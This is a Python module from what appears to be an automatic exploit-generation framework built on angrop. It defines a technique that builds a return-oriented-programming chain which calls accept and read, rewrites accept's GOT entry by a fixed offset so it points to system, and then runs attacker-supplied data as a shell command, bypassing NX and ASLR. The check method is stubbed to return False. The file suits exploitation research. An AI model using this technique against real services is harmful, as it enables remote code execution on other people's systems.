import logging

from angrop.errors import RopException

from ...vulnerability import Vulnerability
from .. import Exploit, CannotExploit
from ..technique import Technique

l = logging.getLogger("rex.exploit.techniques.rop_to_accept_system")


class RopToAcceptSystem(Technique):

    name = "rop_to_accept_system"
    applicable_to = ['unix']

    def check(self):
        return False

        if self.rop is None:
            self.check_fail_reason("No ROP available.")
            return False

            # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            self.check_fail_reason("Cannot control IP.")
            return False

        # check the address of accept
        accept_addr = self._find_func_address("accept")
        if accept_addr is None:
            self.check_fail_reason("The function accept() could not be found in the binary.")
            return False

        # check the address of read
        read_addr = self._find_func_address("read")
        if read_addr is None:
            self.check_fail_reason("The function read() could not be found in the binary.")
            return False

        return True

    def apply(self, **kwargs):
        # check the address of accept
        accept_addr = self._find_func_address("accept")
        if accept_addr is None:
            raise CannotExploit("[%s] the function accept could not be found in the binary" % self.name)

        # check the address of read
        read_addr = self._find_func_address("read")
        if read_addr is None:
            raise CannotExploit("[%s] the function read could not be found in the binary" % self.name)

        # TODO: need to look through the crash in angr and figure out what's returned from `listen`
        listen_fd = 3

        data = "A"*256
        read_to = self._find_global_address_for_string(data)

        delta_from_accept_to_system = -606288

        got_of_accept = self.crash.project.loader.main_object.jmprel['accept'].rebased_addr

        try:
            chain = (
                self.rop.func_call(accept_addr, [listen_fd, 0]) +
                self.rop.func_call(read_addr, [listen_fd, read_to, len(data)]) +
                self.rop.add_to_mem(got_of_accept, delta_from_accept_to_system) +
                self.rop.func_call(accept_addr, [read_to])
            )
        except CannotExploit:
            raise CannotExploit("[%s] unable to call accept" % self.name)

        # insert the chain into the binary
        try:
            chain, chain_addr = self._ip_overwrite_with_chain(chain, self.crash.state)
        except CannotExploit:
            raise CannotExploit("[%s] unable to insert chain" % self.name)

        # add the constraint to the state that the chain must exist at the address
        chain_mem = self.crash.state.memory.load(chain_addr, chain.payload_len)
        self.crash.state.add_constraints(chain_mem == self.crash.state.solver.BVV(chain.payload_str()))

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)

        return Exploit(self.crash, bypasses_nx=True, bypasses_aslr=True)
